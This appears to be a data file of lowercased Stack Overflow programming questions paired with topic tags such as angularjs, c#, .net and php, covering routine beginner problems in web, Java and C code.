trying to add an image in html   i use <code>sublime text 3.0</code> to code html-based website. as indicated by my username  i m not much of an expert. i m having trouble adding an image with sublime text 3.0 using the latest <code>google chrome</code> browser version <code>44.0.2403.130 m</code> and i run windows 8.1 pro (still waiting for the upgrade to w10 dx) anyway  i m pretty sure my software isn t the problem. i can upload images using a externally linked image such as    <blockquote>    <a href= http://www.examplesite.com/picture.gif  rel= nofollow >http://www.examplesite.com/picture.gif</a>  </blockquote>   and it will appear but when i try to upload from my own directory as such    <pre><code>&lt;h1&gt;&lt;img src= logo.jpeg  alt= logo /&gt;prespective news&lt;/h1&gt; </code></pre>   it will not show up on my web browser  it just shows the alternate text of logo  is there something wrong with my code  please help me  i ve spent at least 4 hours. trying to figure it out! also it s all my pictures  not just 1.    the image is in the same directory as my html file is. when i do the <code>f12</code>  it shows an error:   <blockquote>    failed to load resource: net::err_file_not_found file:///c:/users/owner/documents/my%20web%20sites/website%202/logo.jpeg  </blockquote>   this is confusing because this is exactly where my file is in:   <blockquote>    c:\users\owner\documents\my web sites\website 2\logo.jpeg   </blockquote>   the html file is in    <blockquote>    c:\users\owner\documents\my web sites\website 2\idk yet.html  </blockquote>,html
including a list of recent records in show method  i m trying to include a few other recent articles when someone views a particular article in my rails app.    i have the following method in my controller:   <pre><code>def show   @article = article.find(params[:id])   @recents = article.where(!@article).order( created_at desc ).limit(4).offset(1) end </code></pre>   as the expert eye might see  @recents isn t correct. it s my best guess. :)    how do i show some recent articles but not repeat the one they are currently viewing,ruby-on-rails
what is difference between dynamic binding vs dynamic typing in objective c  i am having hard time to understand what is difference between dynamic binding vs dynamic typing in objective c. can someone explain this,objective-c
angularjs passing data back from modal  i d appreciate some help here...  i am looking at making use of angularjs for a few projects i have in mind.  currently experimenting with the bootstrap ui directive.  please take a look at my code here: <a href= http://pastebin.com/zjgpnlep  rel= nofollow >http://pastebin.com/zjgpnlep</a>    is there a way i can update $scope.groups with the data from $scope.formdata which is generated from a modal   i have tried $scope.groups.push($scope.formdata) which has proved unsuccessful and only way i can see the new data is by refreshing the page.      any ideas      thanks,angularjs
why does adding a project reference break my build  <h2>solution structure [plain winforms + vs 2008 express edition]</h2>  <ul> <li>coffeemakerinterface (ns coffeemaker)</li> <li>coffeemakersoftware (ns coffeemakersoftware)</li> <li>testcoffeemaker (ns testcoffeemaker)</li> </ul>   coffeemakersoftware proj references coffeemakerinterface. testcoffeemaker proj references coffeemakerinterface and coffeemakersoftware.    now the thing that is driving me nuts. i can t get this to build. <strong>if i remove coffeemakersoftware project reference from testcoffeemaker it builds (  !!).. as soon as i add the second project reference  it throws build errors</strong> claiming that types declared in first reference  can t be found.. are you missing an assembly ref     at first i had the first 2 assemblies having the same namespace coffeemaker.. i then made them distinct (although i think having classes belonging to the same ns across assemblies should be possible) but even that doesn t seem to be it.    calling more eyeballs. any pointers..,.net
javascript - turn on screen  i don t know if this is even possible but i will still ask. i have a situation where a monitor will go into sleep mode after 15minutes  i want to re activate the monitor if a dynamic content was changed. how do i reactivate the screen  is it possible to imitate a key press or show a notification     thanks  benny,javascript
can i update an attribute even if the model is invalid   is it possible in rails to update the model e.g. name  even if the model in the database is invalid e.g.  is missing email,ruby-on-rails
when -11.5 plus 11.5 equals float(2.8421709430404e-14) <blockquote>    <strong>possible duplicate:</strong><br>   <a href= https://stackoverflow.com/questions/3726721/php-math-precision >php math precision</a><br>   <a href= https://stackoverflow.com/questions/3819508/best-practice-for-working-with-currency-values-in-php >best practice for working with currency values in php </a>    </blockquote>     i really hope someone can help. i ve been hitting my head against a brick wall on this one.    here s the situation: i have a checkout which calculates the subtotal after discount to be -£11.50. there is then  £11.50 delivery cost to add which imho should equal £0.    however when the calculation is run it returns a float 2.8421709430404e-14    in my debug efforts i have done this:   <pre><code>var_dump(     $build[ total ]  // float(-11.5)     $build[ delivery ]  // float(11.5)     (($build[ total ])+($build[ delivery ])) // float(2.8421709430404e-14) ); </code></pre>   however when i do a static calculation:   <pre><code>var_dump((-11.5 + 11.5)); // float(0) </code></pre>   any ideas,php
what does the following declaration mean  <pre><code>struct abcd poly[] = {                { inside   outside }                 { outside   inside }                 }; </code></pre>   what does the above declaration mean,c
how to attach a tooltip to a textbox in html  here i am using a tooltip for a password field in a registration from in my project my problem is that the tooltip is not sticking to the password field when i scroll the page the tooltip is moving down and up accordingly to the cursor.<img src= https://i.stack.imgur.com/e09pm.png  alt= this is the screen originally![this is when the tooltip is doing  >     html   <pre><code>&lt;label for= lbl-01 &gt;&lt;span class= formelementrequired &gt;*&lt;/span&gt;&lt;/label&gt; &lt;a class= tooltip-right  data-tooltip= content  href= # &gt;     &lt;img src= /tmlweb/image/help.png &gt; &lt;/a&gt; </code></pre>   css   <pre><code>[data-tooltip]  .tooltip {    position: absolute;    cursor: pointer;   } /* base styles for the entire tooltip */  [data-tooltip]:before  [data-tooltip]:after  .tooltip:before  .tooltip:after {  position: absolute; visibility: hidden; -ms-filter:  progid:dximagetransform.microsoft.alpha(opacity=0) ; filter: progid:dximagetransform.microsoft.alpha(opacity=0); opacity: 0;         -webkit-transition:           opacity 0.2s ease-in-out          visibility 0.2s ease-in-out           -webkit-transform 0.2s cubic-bezier(0.71  1.7  0.77  1.24);         -moz-transition:             opacity 0.2s ease-in-out          visibility 0.2s ease-in-out         -moz-transform 0.2s cubic-bezier(0.71  1.7  0.77  1.24);      transition:                  opacity 0.2s ease-in-out          visibility 0.2s ease-in-out         transform 0.2s cubic-bezier(0.71  1.7  0.77  1.24);    -webkit-transform: translate3d(0  0  0);   -moz-transform:    translate3d(0  0  0);   transform:         translate3d(0  0  0);   pointer-events: none; } </code></pre>,css
best practices for controlling access to form fields  i have a classic 3-tier asp.net 3.5 web application with forms that display business objects and allow them to be edited. controls on the form correspond to a property of the underlying business object. the user will have read/write  readonly  or no access to the various controls depending on his/her role. very conventional stuff.    my question is: what is the object-oriented best practice for coding this  is there anything more elegant than wrapping each control in a test for the user s role and setting its visible and enabled properties     thanks,asp.net
dot net assembly viewer   i have a dll that contains a dot net assembly - common intermediate language. the problem is that it s lacking documentation and i need to figure out the api like available classes  properties and methods  correct parameters to pass etc.    whats the best way to do this. i need some sort of viewer/inspector but i couldn t find any.    thanks.,.net
in angularjs  how do i get two buttons to call different functions   i m working on something where you have a reset button  a button to save changes to a database object  and i added a delete button next to it. no matter what i do  i can t seem to find how to get the two different buttons to call different functions. i m very new at this...    here s the html part.   <pre><code>&lt;fieldset&gt;   &lt;div class= form-group &gt;     &lt;div class= col-lg-10 col-lg-offset-2 &gt;       &lt;button type= reset  class= btn btn-default &gt;cancel&lt;/button&gt;       &lt;button type= submit  value= submit  ng-disabeled= myform.$invalid  class= btn btn-primary &gt;save changes / create&lt;/button&gt;       &lt;button type= remove  value= remove  ng-model= deleteproduct()  class= btn btn-primary &gt;delete&lt;/button&gt;     &lt;/div&gt;   &lt;/div&gt; &lt;/fieldset&gt; </code></pre>   the ng-model part i added doesn t seem to do anything. no matter what i do  i can t get it to call a different function to the save button. *    *disclaimer i took over this project and didn t write it from scratch. i ve tried crawling through the code and adding things everywhere (with console.log lines added in to see if they ever get called) but i can t seem to crack it. does anyone have any ideas,angularjs
html text not format right with page width  i made a most simple example of my problem. first paragraph with  loren ipsum  formats well when resizing the browser. but second real text not formats right. like:<a href= https://i.stack.imgur.com/k8po1.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/k8po1.png  alt= enter image description here ></a>    what is the problem     jsfiddle example: <a href= https://jsfiddle.net/tling/dqjzezh8/  rel= nofollow noreferrer >https://jsfiddle.net/tling/dqjzezh8/</a>    my html source code:   <pre><code>&lt;!doctype html&gt; &lt;html&gt; &lt;head&gt; &lt;meta charset= utf-8 &gt; &lt;title&gt;&lt;/title&gt; &lt;/head&gt;  &lt;body&gt; &lt;div style=  border: 1px black solid &gt;      &lt;p &gt;lorem ipsum dolor sit amet  consectetur adipiscing elit       sed do eiusmod tempor incididunt ut labore et dolore magna aliqua.     ut enim ad minim veniam  quis nostrud exercitation ullamco laboris      nisi ut aliquip ex ea commodo consequat. duis aute irure dolor       &lt;/p&gt;      &lt;p&gt;     cillum to care appears problemac      in the exercitation mollit  as evidenced by higher rates of preventable incididuntinc     and consequatat consequatbc visits  as well as a lower percentage  of adults who reported having a usual source of aute  compared to laborum.     &lt;/p&gt;  &lt;/div&gt;  &lt;/body&gt; &lt;/html&gt; </code></pre>,html
disable css box on desktop view but enable on mobile view  i would like to add customized css to disable floating box on desktop view but enable on mobile view. heres the css :   <pre><code>.floating-box { position: fixed; bottom: 0px;  left: 50%;  .transform(translatex(-50%)); .clearfix(); background-color: #000;  border-radius: @globalborderradius @globalborderradius 0px 0px; padding: 10px 10px 8px 10px; z-index: 9999; width: 1100px; } </code></pre>   whats css should i add to make it happen,css
"how i fix this error   i have error in     plz help to convert json to rcpts.   <pre><code>string json = jsonconvert.serializeobject(rcpts); </code></pre>   <div class= snippet  data-lang= js  data-hide= false  data-console= true  data-babel= false >
 <div class= snippet-code >
 <pre class= snippet-code-css lang-css prettyprint-override ><code>using system;
 using system.collections.generic;
 using system.io;
 using system.linq;
 using system.net;
 using system.text;
 using system.web;
 using system.web.ui;
 using system.web.ui.webcontrols;
 
 namespace sdd.contact
 {
     public partial class cantact : system.web.ui.page
     {
         protected void page_load(object sender  eventargs e)
         {
 
         }
 
         protected void sabtbutton_click(object sender  eventargs e)
         {
 
             webrequest request = webrequest.create( http://ippanel.com/services.jspd );
             string[] rcpts = new string[] {  981111111  };
             string json = jsonconvert.serializeobject(rcpts);
             request.method =  post ;
             string postdata =  op=send&amp;uname=aaaa&amp;pass=0000&amp;message=hello test&amp;to=  + json +  &amp;from=+9810001010 ;
             byte[] bytearray = encoding.utf8.getbytes(postdata);
             request.contenttype =  application/x-www-form-urlencoded ;
             request.contentlength = bytearray.length;
             stream datastream = request.getrequeststream();
             datastream.write(bytearray  0  bytearray.length);
             datastream.close();
             webresponse response = request.getresponse();
             console.writeline(((httpwebresponse)response).statusdescription);
             datastream = response.getresponsestream();
             streamreader reader = new streamreader(datastream);
             string responsefromserver = reader.readtoend();
             console.writeline(responsefromserver);
             reader.close();
             datastream.close();
             response.close();
             system.diagnostics.debug.writeline(responsefromserver);
 
         }
     }
 }</code></pre>
 </div>
 </div>",asp.net
"get an element inside a class   how can i get every button inside a class and add an event listener to it     something like:    <div class= snippet  data-lang= js  data-hide= false  data-console= true  data-babel= false >
 <div class= snippet-code >
 <pre class= snippet-code-js lang-js prettyprint-override ><code>var item = document.getelementsbyclassname( holder ).getelementsbytagname( button );
 
 array.from(item).foreach(function(element) {
   element.addeventlistener( click   () =&gt; {
     console.log( a );
   }  false);
 });</code></pre>
 <pre class= snippet-code-html lang-html prettyprint-override ><code>&lt;div class= holder &gt;
   &lt;button&gt;click me&lt;/button&gt;
 &lt;/div&gt;
 &lt;div class= holder &gt;
   &lt;button&gt;click me&lt;/button&gt;
 &lt;/div&gt;</code></pre>
 </div>
 </div>",javascript
sharing .net assemblies between mutliple development teams  i m looking for what would be the most appropriate solution to share .net assemblies (both being in continuous development stage) between multiple development teams (not in the same office/repository).    first team has developed and packaged many useful and generic features in an assembly called <code>core.dll</code> that they are referencing (as a vs project) across their many applications and libraries. this assembly in turn references very standard assemblies like (<code>system.dll</code>  etc...) plus <code>log4net.dll</code> (as a third party in their repository):   <ul> <li>core.dll  <ul> <li>system.dll</li> <li>... </li> <li>log4net.dll</li> </ul></li> </ul>   on my side i ve developed a higher level assembly <code>library.dll</code> in which i d really like to incorporate for things developped in <code>core.dll</code> instead of maintaining duplicate code:   <ul> <li>library.dll  <ul> <li>system.dll</li> <li>... </li> <li>log4net.dll  &lt;-- i m also using log4net!</li> <li><em>core.dll</em>  &lt;--- i d like to replace my homemade code with it</li> </ul></li> </ul>   finally first team is in turn interested by my code to develop their own application:   <ul> <li>application.exe  <ul> <li>system.dll</li> <li>... </li> <li>log4net.dll</li> <li><em>core.dll</em></li> <li><em>library.dll</em></li> </ul></li> </ul>   this looks like hell to keep loosely coupling between the two development teams:   <ul> <li> first  i may not use the same version of <code>log4net.dll</code> in <code>library.dll</code> than in <code>core.dll</code> (at least we can agree to use the same one or not to target for a specific version as this thrid party is quite stable) </li> <li> second  when integrating back my <code>library.dll</code> in <code>application.dll</code> i may have been working from a different version of <code>core.dll</code> as they will continuously have it to evolve.  </li> </ul>   currently what i m thinking of to keep loosely coupling between our teams is to have them to provide me with hidden  log4net  reference like this:   <pre><code>// create a single assembly hiding for log4net ilmerge /out:dcore.dll core.dll log4net.dll /internalize </code></pre>   and myself to do the same:   <pre><code>// create a single assembly hiding for log4net and core ilmerge /out:dlibrary.dll library.dll dcore.dll log4net.dll /internalize </code></pre>   i don t kwon if this solution is appropriate  any other one preserving for our two teams to be tied one to another is warmly welcome.    nb1: i don t think deploying libraries to the gac is a good solution because both <code>core.dll</code> and <code>library.dll</code> are still in continuous development stage and cache will grow with too many useless side-by-side releases.    nb2: i ve read this <a href= https://stackoverflow.com/q/1422899/684399 >thread</a> but i don t know much about nuget and if it s appropriate here.,.net
java beginner: letting one class know that another has finished  i m making a java game that has a main class  a battle class  a monster class  a player class  etc... i have stats displayed on the main class frame. a button press creates a new battle frame  which also shows stats. after the battle  the stats are different (for example  the player s health points are lower than they were before being hit by the monster). i need these changes in the stats to be reflected back on the main frame after the battle frame disappears.    what is the best way to tell the main class that the battle is finished and to refresh the stats  code is below. it s a work in progress  obviously  and there are a few other irrelevant classes.    portion of main class that starts a battle (ie  creates a new battle object  which is a jframe):   <pre><code>public class darkworld extends jframe implements actionlistener {     ...     public darkworld()     {         ...     public void createinfolabel()     {         infolabel.settext( &lt;html&gt;player:   + darkworld.user.getplayername()             +  &lt;br&gt;health:   + darkworld.user.gethealth()             +  &lt;br&gt;attack damage:   + darkworld.user.getattackdamage()             +  &lt;br&gt;level:   + darkworld.user.getlevel()             +  &lt;br&gt;experience:   + darkworld.user.getexperience());     }     ...         if(source == monsterbutton)         {              battleframe battle = new battleframe();             final int width = 700;             final int height = 500;             battle.setsize(width  height);             battle.setvisible(true);         }         ... } </code></pre>   portion of battle class:   <pre><code>...   public class battleframe extends jframe implements actionlistener {     monster newmonster = new monster();     ...     public battleframe()     ...     public void displaystats()     {         monsterlabel.settext( &lt;html&gt;type:   + newmonster.getmonstername()                 +  &lt;br&gt;health:   + newmonster.gethealth()                 +  &lt;br&gt;attack:   + newmonster.getattackname()                 +  &lt;br&gt;attack damage:   + newmonster.getattackdamage());         playerlabel.settext( &lt;html&gt;player:   + darkworld.user.getplayername()                 +  &lt;br&gt;health:   + darkworld.user.gethealth()                 +  &lt;br&gt;attack damage:   + darkworld.user.getattackdamage()                 +  &lt;br&gt;level:   + darkworld.user.getlevel()                 +  &lt;br&gt;experience:   + darkworld.user.getexperience());     }     ...             if(newmonster.gethealth() &lt;= 0)             {                 ...                 joptionpane.showmessagedialog(null   you killed the monster! you found a   + newitem.getitemname()                         +  . it has been added to your inventory. );                 dispose();             }             if(darkworld.user.gethealth() &lt;= 0)             {                 //if player dies (health reaches zero)  the game is over - need to make game end                 displaystats();                 joptionpane.showmessagedialog(null   the monster killed you! );                 dispose();             }         }         ... } </code></pre>   edit: tried to simplify the code here so it is more clear what i am asking.,java
no warning or error indication when variable defined as static but declared as extern  i came across some code today that surprised me.  a variable was defined (outside of a function) in the .c file as being static.  however  in the .h file it was declared as being extern.  here is a similar example of the code:    <strong>structure definitions and declaration in .h:</strong>   <pre><code>typedef struct {     unsigned char counter;     unsigned char some_num; } one_struct;  typedef struct {     unsigned char counter;     unsigned char some_num;     const unsigned char * p_something; } another_struct;  typedef struct {     one_struct * const p_one_struct;     another_struct * const p_another_struct; } one_useful_struct;  extern one_useful_struct * const p_my_useful_struct[]; </code></pre>   <strong>definition and initialization in .c:</strong>   <pre><code>static one_useful_struct * const p_my_useful_struct[max_useful_structs] = {     &amp;p_my_useful_struct_regarding_x      &amp;p_my_useful_struct_regarding_y  }; </code></pre>   <strong>question:</strong> so my question is  why didn t i receive a compiler error or warning     the code has been successfully running in other projects for some time now.  i did note that the pointer is never used outside of the .c file in which it is defined and was properly defined as static (i removed the external declaration).  the only reason that i found it was because i ran lint on the project and lint picked it up.,c
angularjs - how to check undefined from select value  how to check or to trap the <code>undefined</code> select value from the select tag. this is to prevent the user forget the select from the selection box.    have been trying as below js but it still show undefined error in the console log and not alert is show in browser.    <strong>code</strong>   <pre><code>&lt;select ng-model= add.partcode  ng-options= x.part_no for x in distictpartcode  ng-change= getlocation() &gt;     &lt;option value=  &gt;please select partcode&lt;/option&gt; &lt;/select&gt; </code></pre>   <strong>js</strong>   <pre><code>if(!angular.isundefinedornull($scope.add.partcode.part_no )){     var partcode = $scope.add.partcode.part_no;   }else {     var alertpopup = $ionicpopup.alert({       title:  error ...         template:  please choose your part code first.      });   } </code></pre>   <strong>or</strong>   <pre><code>if(!$scope.add.partcode.part_no){     var partcode = $scope.add.partcode.part_no;   }else {     var alertpopup = $ionicpopup.alert({       title:  error ...         template:  please choose your part code first.      });   } </code></pre>   error in console.    <code>typeerror: cannot read property  part_no  of undefined</code>,angularjs
is it possible to get the physical path of the given filename in .net   i want to get the physical path of given file name. for     ex: i have my project in drive e:\ and need to search the physical path of  x.txt  file which is resides in c drive.,.net
passing session variable into angularjs textbox value  is it possible to pass the <code>userid</code> from the session to the angularjs textbox value  i have tried to put the echo call into the <code>value=  </code> but it doesn t work.   <pre><code>&lt;input type= text  data-ng-model= user  id= user          value= &lt; php echo $user;  &gt;  disabled/&gt;  &lt;button data-ng-click= add(userid) &gt;add&lt;/button&gt; </code></pre>,angularjs
how can i return the else statement in function in javascript   it gives unexpected token else   <pre><code>var sleepcheck = function (numhours) {   if (sleepcheck &gt;= 8);     return  you re getting plenty of sleep! maybe even too much! ;   else (sleepcheck &lt; 8);      return  get some more shut eye! ; };  sleepcheck(10); sleepcheck(5); sleepcheck(8); </code></pre>,javascript
sql incorrect syntax near the keyword  where   this is my code and for some reason i keep getting the error that says    <blockquote>    incorrect syntax near the keyword  where   </blockquote>   i would like to know what i am doing wrong.   <pre><code>select course id  sec id  count(id) as enrollment from section natural  join takes where semester =  fall    and year = 2009 group by course_id  sec_id </code></pre>,sql
can i return a function which have multiple functions in an angularjs provider   i want to use like below in an angularjs provider.   <pre><code>provider.files.get(); </code></pre>   i hope that <code>files</code> function could have various functions  such as <code>put  update  insert  delete  etc.</code>    my code is below.    but <code>files.get</code> is <code>undefined</code>    what should i do     please answer me tt   <pre><code>var mod = angular.module( m   []);  mod.provider( provider   function() {    this.$get = function() {     return {       files: function() {         var service = {           get: function() {             console.log( get );           }         };         return service;       }     };   };   return this; } </code></pre>,angularjs
show complete action using dialog during download newr version android  i want to update my application programmatically. after i run my application   during download  complete action using  dialog appears. i do not know what is the reason .my code is below :   <pre><code>private broadcastreceiver downloadreceiver = new broadcastreceiver() {      @targetapi(build.version_codes.honeycomb)     @override     public void onreceive(context context  intent intent) {          // check if the broadcast message is for our enqueued download         long referenceid = intent.getlongextra(downloadmanager.extra_download_id  -1);         if (downloadreference == referenceid) {              try{             log.v(log_tag   downloading of the new app version complete );             // start the installation of the latest version             intent installintent = new intent(intent.action_view);                intent.setdataandtype(uri.fromfile(new file(environment.getexternalstoragedirectory() +  /download/  +  app.apk ))   application/vnd.android.package-archive );               installintent.setflags(intent.flag_activity_new_task);             startactivity(installintent);             }             catch(exception ex)             {             string mess=    ex.getmessage();             string a=mess;             }          }     } }; </code></pre>,android
easier way to get last item in dropdownlist  there s got to be an easier way to do what i came up with here:   <pre><code>int lastdayinlist = ddlbirthday.items.indexof(ddlbirthday.items[ddlbirthday.items.count -1]); </code></pre>,asp.net
the best overloaded method match for  colconfigsubsystem.database.getchromemakebyyear(int)  has some invalid arguments  i have an event in c# that populates dropdown lists from a class file (database.cs) with the associated values from a different database via oracle stored procedures contained in the class file mentioned above.  this is the code that i am currently using:   <pre><code>    ///&lt;summary&gt;     ///populates the model dropdownlist with available chrome data associated with      ///the year selected     /// &lt;/summary&gt;     private void populatechromemodel()     {         //define a counter         int itemcounter = 1;          //create a database object         database cmake = new database();          //call getchromemakebyyear to retrieve the available models according to          //the year         datatable table = cmake.getchromemakebyyear(ddlvehicleyear.selecteditem);          trace.write( populating models );          //create a flag showing whether an item should be selected.  preset it to false         bool selected = false;          //we may need to select  then later deselect  an item based on the model.         int selecteditembymodel = 0;          //preset the current selected code to            string currentselectedcode =   ;          //define a flag to indicate whether we ve already selected an item.  preset it to false.         bool hasselected = false;          //create a list item for the 0 position         listitem firstitem = new listitem( -- select --     );          //first see if there is a currently selected item.  if so  set the current selected model.         //this is done because we have to clear all of the selected items before adding the new list.         //but we want to be able to select the model that is already selected.         if (ddlvehiclemodel.selectedindex &gt; 0)         {             currentselectedcode = ddlvehiclemodel.selectedvalue;         }          //clear any items from the list         ddlvehiclemodel.items.clear();          //add the first item         ddlvehiclemodel.items.add(firstitem);          //loop through the table and add items for each row.         foreach (datarow row in table.rows)         {             //get this record s chrome id             string id = row[ chrome_id ].tostring();              //get this record s make             string make = row[ chrome_make ].tostring();              //set a flag specifying whether the item should be selected based on year             bool selectbasedonyear = false;              if (currentselectedcode == id)             {                 selected = true;             }             else             {                 selected = false;                 selectbasedonyear = false;             }              trace.write(string.format( {0}: {1}: {2}: {3}   id  make  selected  selectbasedonyear));              //create a new list item for this model             listitem newitem = new listitem(id  make);              //if we have thrown either selected flag and we have not already selected an item               //mark this option as selected             if ((selected || selectbasedonyear) &amp;&amp; !hasselected)             {                 trace.write( -- either selected or selectedbasedonyear was true  and hasselected was false );                  //first make sure the first item is deselected                 firstitem.selected = false;                 trace.write( -- deselected the first item. );                  //next deselect and items that were selected due to year.  this allows the user selected                 //region to override the default model for year.                 if (selectbasedonyear != null)                 {                     trace.write(string.format(  -- deselecting item {0}  which was selected due to year   selectbasedonyear));                     ddlvehiclemake.items[selecteditembymodel].selected = false;                 }                  //select this item                 newitem.selected = true;                 trace.write(  -- selected the current item );                  //only throw the hasselected flag if this was a user-selected region                 if (selected)                 {                     hasselected = true;                     trace.write(  -- set hasselected to true );                 }              }              //add the model to the list             ddlvehiclemake.items.add(newitem);              itemcounter++;         }          //if there s no items selected and we have more than just the default item           //default to the first item         if (ddlvehiclemake.items.count &gt; 0 &amp;&amp; !hasselected &amp;&amp; selecteditembymodel == 0)         {             ddlvehiclemake.selectedindex = 1;         }     } </code></pre>   the error is being thrown at the following line:   <pre><code>        //call getchromemakebyyear to retrieve the available models according to          //the year         datatable table = cmake.getchromemakebyyear(ddlvehicleyear.selecteditem); </code></pre>   i have included my inline comments and summary to help with the scope of this event.  i am not quite sure what the reason is for the error.,c#
solving simultaneous linear equation using commons-math-2.2.jar from apache  i am trying to solve linear equation using commons-math-2.2.jar from apache.    for three small points  i get right result.    when i use following data(big number) i am not getting right result rather i would say result makes no sense;    following is the code and datas i am using:   <pre><code>double [][]matrixpoint= new double[][]{{1 80 6400 512000 4.096*math.pow(10  7)} {1 100 10000 1000000 1.0*math.pow(10  8)} {1 120 14400 1728000 2.073*math.pow(10  8)} {1 160 25600 4096000 6.553*math.pow(10  8)} {1 200 40000 8000000 1.6*math.pow(10  9)}};         double [] matrixvector=new double[]{300 350 300 350 250};  realmatrix coefficients =                     new array2drowrealmatrix(matrixpoint false);                                     decompositionsolver solver = new ludecompositionimpl(coefficients).getsolver();                 //  realvector constants = new arrayrealvector(new double[] { 1  -2  1 }  false);          realvector constants = new arrayrealvector(matrixvector  false);          realvector solution = solver.solve(constants);                  system.out.println( the values are: +math.round(solution.getentry(0))+ : +math.round(solution.getentry(1))+ : +math.round(solution.getentry(2))+ : +math.round(solution.getentry(3))+ : +math.round(solution.getentry(4))); </code></pre>   is any limitation with the api if you know any other library for solving the linear equations please let me know.    thanks in advance    rakesh,java
how to check an int to see if it is null or has a value  no all  this is not a dup of this question as listed below in the comments.    <a href= https://stackoverflow.com/questions/6564682/how-to-create-structure-with-null-value-support >how to create structure with null value support </a>    *this question was asking how to test with using if then if it was possible... and the vb.net was tagged because i m sure this happens in vb.net as well.    how would one check in c# if an integer is null:    this was tried:     <pre><code>if (init_vid == null)     {     } </code></pre>   but this throws a warning stating that the result of the expression is always  false  since a value of type  int  is never equal to  null  of type  int         so how do you test this  thanks!    so someone asked to see the code... hopefully the negative voters won t go negative vote happy:    from the mvc form   <pre><code> &lt;input type= hidden  id= initvid  name= init_vid  class= control-label col-md-2  /&gt; </code></pre>   in the mvc controller   <pre><code> public actionresult edit(int init_vid ....   if (init_vid != 0) //added this after finding out that you have to test for zero   {  if (init_vid != vrs_request.res_veh_id)  ...   </code></pre>   edit: i guess i am wrong that maybe that init_vid is being declared in the public action element...     thanks again for the help!,c#
how to extract first segment out of uri using uri class  i am using uri class for application development and needs the first segment of user-entered uri that either it contains http:// or http:// or ftp:// etc. if not so i have to hardcode to add to it.    i have already searched for it using googling and stackoverflowing but they didn t showed the precise requirement for me.   <pre><code>string path downloadurl; path =  this.savepath.text; downloadurl =  this.downloadurl.text;  // i have done this but it didn t check if already existing . downloadurl =  http://  + downloadurl;  uri tmp = new uri(downloadurl); //extracts the last element string endpathfilename = tmp.segments.last();  // something like this but it returns only   / . //string startpathfilename = tmp.segments.first();  //console.writeline(startpathfilename); </code></pre>   any suggestions,c#
trivial program throws indexoutofrangeexception   getting error when running above code  don t know exact issue please provide soution for this.   <pre><code> using system;   class second {     static void main(string[] args)     {         console.writeline( hello {}!   args[0]);         console.writeline( welcome to the c# station tutorial! );          console.readline();     } } </code></pre>   error is index outof range.,c#
unwanted output when using response.flush()  i have an asp.net (.aspx) page containing a button. when i click that button i wish for some content (given as a byte array and created in my code-behind) to be written into a text file and downloaded to the user (open\save..). i use the following button click handler syntax:   <pre><code>  response.buffer = true;             response.charset =   ;             response.cache.setcacheability(httpcacheability.nocache);             response.contenttype =  text/plain ;             response.addheader( content-disposition    attachment;filename=  +  non-queries.txt );             response.binarywrite(\*here i send the byte array*\);             response.flush(); </code></pre>   now the content of the byte array does get written into the file  but what also gets written is the html content of the aspx page containing the button  which i don t want written.    can you help  where do i go wrong,asp.net
nested directives for dynamic ui  i m trying to create a 2 level tab navigation with each sub-tab has dynamic ui content. i m trying to have the whole ui created from json definition with main tabs array where each tab contain sub-tabs array. each sub-tab contain ui elements such as text  combobox  radio button  multi-select list  etc...    i m looking at this tab example and trying to combine it with dynamic content for the inner tab. since i am new to angularjs i just hope to get some help to get me started.    <a href= http://plnkr.co/edit/qsvqd3hsqa8buyu9ekao p=preview  rel= nofollow >http://plnkr.co/edit/qsvqd3hsqa8buyu9ekao p=preview</a>,angularjs
dotnet restore error in mac os  this is about  dotnet restore . i try  dotnet restore  in terminal but terminal show up this message:   <blockquote>    /users/abc/coreclr/tests/src/jit/config/threading+thread/project.json    at line 29 column 0 : unexpected end of content while loading jobject.   path  frameworks[ netcoreapp1.1 ]   line 29  position 0. error:<br>   unexpected end of content while loading jobject. path    frameworks[ netcoreapp1.1 ]   line 29  position 0.  </blockquote>   so i find project.json file.  this file code:   <pre><code>{    dependencies : {      microsoft.netcore.platforms :  2.0.0-beta-24919-02        system.console :  4.4.0-beta-24913-02        system.numerics.vectors :  4.4.0-beta-24913-02        system.runtime :  4.4.0-beta-24913-02        system.runtime.extensions :  4.4.0-beta-24913-02        system.threading :  4.4.0-beta-24913-02        system.threading.thread :  4.4.0-beta-24913-02    }     frameworks : {      netcoreapp1.1 : {        dependencies : {          microsoft.netcore.app : {            type :  platform              version :  1.1.0          }   }     runtimes : {      win7-x86 : {}       win7-x64 : {}       ubuntu.14.04-x64 : {}       osx.10.10-x64 : {}       centos.7-x64 : {}       rhel.7-x64 : {}       debian.8-x64 : {}   } </code></pre>   that s it.so i can t build in vs for mac and  dotnet restore . what should i do,.net
php preg_replace removing string it s checking  i am using preg_replace to validate first and last name coming from my database. if i don t include preg_replace  the values are passed on like normal  but if i do use it  nothing is passed. here is my current code:   <pre><code>$firstname = preg_replace( /^[a-za-z]+$/       $firstname); $lastname = preg_replace( /^[a-za-z]+$/       $lastname); </code></pre>   i am using similar validation for other variables without issue  it s really only happening for these. i m not too familiar with validation  so any help would be appreciated.,php
what type of variable in java can hold an ip address-like number with multiple decimals   this is probably the simplest question ever asked  but if i have a running number like 23.928.4934.30  which variable should house that,java
cascading dropdown getting error not all code return value  i have two dropdown. and i am using cascading dropdown.my first dropdown is returning result on click of selected data from 1st dropdown it is showing no records for those dont have value. but for selected data which has related data its showing method error. can anybody suggest whats the problem  while in sql server i am getting answer values. dd_issue is view and tape_master is table in database.    webservice:-    using system; using system.collections.generic; using system.linq; using system.web; using system.web.services; using system.data; using system.data.sqlclient; using system.configuration; using system.collections.specialized; using system.web.script.services; using ajaxcontroltoolkit; using system.diagnostics;    ///  /// summary description for tapewebservice ///  ///  ///     [webservice(namespace =  http://tempuri.org/ )] [webservicebinding(conformsto = wsiprofiles.basicprofile1_1)]    // to allow this web service to be called from script  using asp.net ajax  uncomment the following line.  [system.web.script.services.scriptservice]    public class tapewebservice : system.web.services.webservice {     sqlconnection con = new sqlconnection(configurationmanager.appsettings[ kk ].tostring());   <pre><code>dataset ds; issuereturn ir; sqlcommand cmd; sqldataadapter sda; public tapewebservice() {      //uncomment the following line if using designed components      //initializecomponent();  } [scriptmethod] [webmethod] public ajaxcontroltoolkit.cascadingdropdownnamevalue[] filltape(string knowncategoryvalues string category)     {         try         {             con.open();             cmd = new sqlcommand( select id  t_code from tape_master   con);             cmd.executenonquery();             sda = new sqldataadapter(cmd);             ds = new dataset();             sda.fill(ds);             con.close();             list&lt;ajaxcontroltoolkit.cascadingdropdownnamevalue&gt; tape = new list&lt;ajaxcontroltoolkit.cascadingdropdownnamevalue&gt;();             foreach (datarow dr in 